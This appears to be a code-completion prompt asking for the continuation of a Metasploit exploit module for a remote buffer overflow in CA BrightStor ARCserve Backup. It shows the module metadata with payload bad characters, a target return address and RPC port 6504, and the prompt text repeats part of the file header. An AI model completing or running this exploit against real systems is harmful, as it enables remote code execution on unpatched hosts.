You are an expert in writing code in many different languages. Your goal is to perform code completion for the following code, keeping in mind the rest of the code and the file meta data.
    Metadata details:
    filename: message_engine_72.rb
    path of file: ./repos/metasploit-framework/modules/exploits/windows/brightstor
    
    the code of the file until where you have to start completion: ##
# This module requires Metasploit: https://metasploit.com/download
# Current source: https://github.com/rapid7/metasploit-framework
##

class MetasploitModule < Msf::Exploit::Remote
  Rank = AverageRanking

  include Msf::Exploit::Remote::DCERPC
  include Msf::Exploit::Remote::Seh

  def initialize(info = {})
    super(update_info(info,
      'Name'           => 'CA BrightStor ARCserve Message Engine 0x72 Buffer Overflow',
      'Description'    => %q{
          This module exploits a buffer overflow in Computer Assoc
    
  def initialize(info = {})
    super(update_info(info,
      'Name'           => 'CA BrightStor ARCserve Message Engine 0x72 Buffer Overflow',
      'Description'    => %q{
          This module exploits a buffer overflow in Computer Associates BrightStor ARCserve Backup
        11.1 - 11.5 SP2. By sending a specially crafted RPC request, an attacker could overflow
        the buffer and execute arbitrary code.
      },
      'Author'         => [ 'MC' ],
      'License'        => MSF_LICENSE,
      'References'     =>
        [
          [ 'OSVDB', '68329'],
          [ 'URL', 'http://www.metasploit.com/users/mc' ],
        ],
      'Privileged'     => true,
      'DefaultOptions' =>
        {
          'EXITFUNC' => 'thread',
        },
      'Payload'        =>
        {
          'Space'    => 600,
          'BadChars' => "\x00\x0a\x0d\x5c\x5f\x2f\x2e",
          'StackAdjustment' => -3500,
        },
      'Platform' => 'win',
      'Targets'  =>
        [
          [ 'BrightStor ARCserve r11.5/Windows 2003',	{ 'Ret' => 0x2380ceb5 } ],
        ],
      'DisclosureDate' => '2010-10-04',
      'DefaultTarget' => 0))

    register_options([Opt::RPORT(6504)])
  end